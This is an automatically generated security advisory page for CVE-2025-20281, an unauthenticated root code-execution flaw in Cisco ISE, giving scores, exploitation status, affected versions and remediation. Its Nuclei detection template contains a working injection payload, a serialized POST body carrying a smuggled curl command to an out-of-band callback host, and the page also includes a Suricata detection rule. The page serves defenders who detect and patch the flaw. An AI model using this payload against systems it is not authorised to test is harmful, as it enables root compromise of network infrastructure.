VULNpocalypse

CVE-2025-20281: Cisco Identity Services Engine Injection Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

A vulnerability in a specific API of Cisco ISE and Cisco ISE-PIC could allow an unauthenticated, remote attacker to execute arbitrary code on the underlying operating system as root. The attacker does not require any valid credentials to exploit this vulnerability. This vulnerability is due to insufficient validation of user-supplied input. An attacker could exploit this vulnerability by submitting a crafted API request. A successful exploit could allow the attacker to obtain root privileges on an affected device.

Description quoted from the CVE record (assigned by cisco, published 2025-06-25).

Weakness: Improper Neutralization of Special Elements in Output Used by a Downstream Component (‘Injection’)

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since
2025-07-28
US federal deadline
2025-08-18
Ransomware use
Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2025-08248, CNNVD-202506-3168, EUVD-2025-19167, GHSA-rc4f-42xm-hvjw, ZDI-25-609

VEDAS cluster: VEDAS:FLINTFIRE

Exploit Observer links 11 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (11)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Research and write-ups (1)

Vulnerability databases and vendor advisories (6)

Catalogue entries, not exploit evidence.

84 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.976
very likely to be attacked soon
VEDAS
0.984
strong exploit evidence
On CISA KEV
Yes, since 2025-07-28
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.1Added to CISA KEV 2025-07-28CVE-2025-20281 EPSS over time2025-062026-11-01
VEDAS (exploit evidence)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.9Added to CISA KEV 2025-07-28CVE-2025-20281 VEDAS over time2025-062026-11-01

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.

Who is affected

ProductAffectedNot affected
Cisco Cisco Identity Services Engine Softwareversion 3.3.0
version 3.3 Patch 2
version 3.3 Patch 1
version 3.3 Patch 3
version 3.4.0
version 3.3 Patch 4
version 3.4 Patch 1
version 3.3 Patch 5
and 1 more ranges		Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: cisco identity_services_engine, cisco identity_services_engine_passive_identity_connector, cisco_systems,_inc. cisco_identity_services_engine.

How to fix it

CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

How to detect it

Nuclei template (active check)

Cisco ISE - Authentication Bypass

A vulnerability in a specific API of Cisco ISE and Cisco ISE-PIC could allow an unauthenticated, remote attacker to execute arbitrary code on the underlying operating system as root. The attacker does not require any valid credentials to exploit this vulnerability.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (POST /deployment-rpc/enableStrongSwanTunnel); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using dsl matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2025-20281.yaml
Show the template (40 lines)
yaml
id: CVE-2025-20281

info:
  name: "Cisco ISE - Authentication Bypass"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    A vulnerability in a specific API of Cisco ISE and Cisco ISE-PIC could allow an unauthenticated, remote
    attacker to execute arbitrary code on the underlying operating system as root. The attacker does not require
    any valid credentials to exploit this vulnerability.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-20281&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=cisco&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2025-20281
    cwe-id: CWE-287
  metadata:
    verified: false
  tags: cve,cve2025,cisco,cisco-ise,rce,kev,vkev,oast,oob,vuln
variables:
  cmd: 'x;curl${IFS}http://{{interactsh-url}}'
  serialized_str: '{{concat(hex_decode("aced0005757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007870000000027400"), hex_decode(dec_to_hex(len(cmd))), cmd, hex_decode("740000"))}}'

http:
  - raw:
      - |
        POST /deployment-rpc/enableStrongSwanTunnel HTTP/1.1
        Host: {{Hostname}}

        {{serialized_str}}

    matchers:
      - type: dsl
        dsl:
          - "contains(interactsh_protocol,'http')"
          - 'status_code == 200'
          - 'len(body)==2'
        condition: and

CVE-2025-20281.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2025-20281 Cisco ISE - Authentication Bypass. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2025-20281 Cisco ISE - Authentication Bypass"; flow:established,to_server; http.uri; content:"/deployment-rpc/enableStrongSwanTunnel"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2025-20281; reference:url,https://www.exploit.observer/?keyword=CVE-2025-20281&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=cisco&match=exact; sid:1008917; rev:1;)

CVE-2025-20281.rules on GitHub

Advisories on this CVE

References

Exploits and technical analysis

Government sources

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.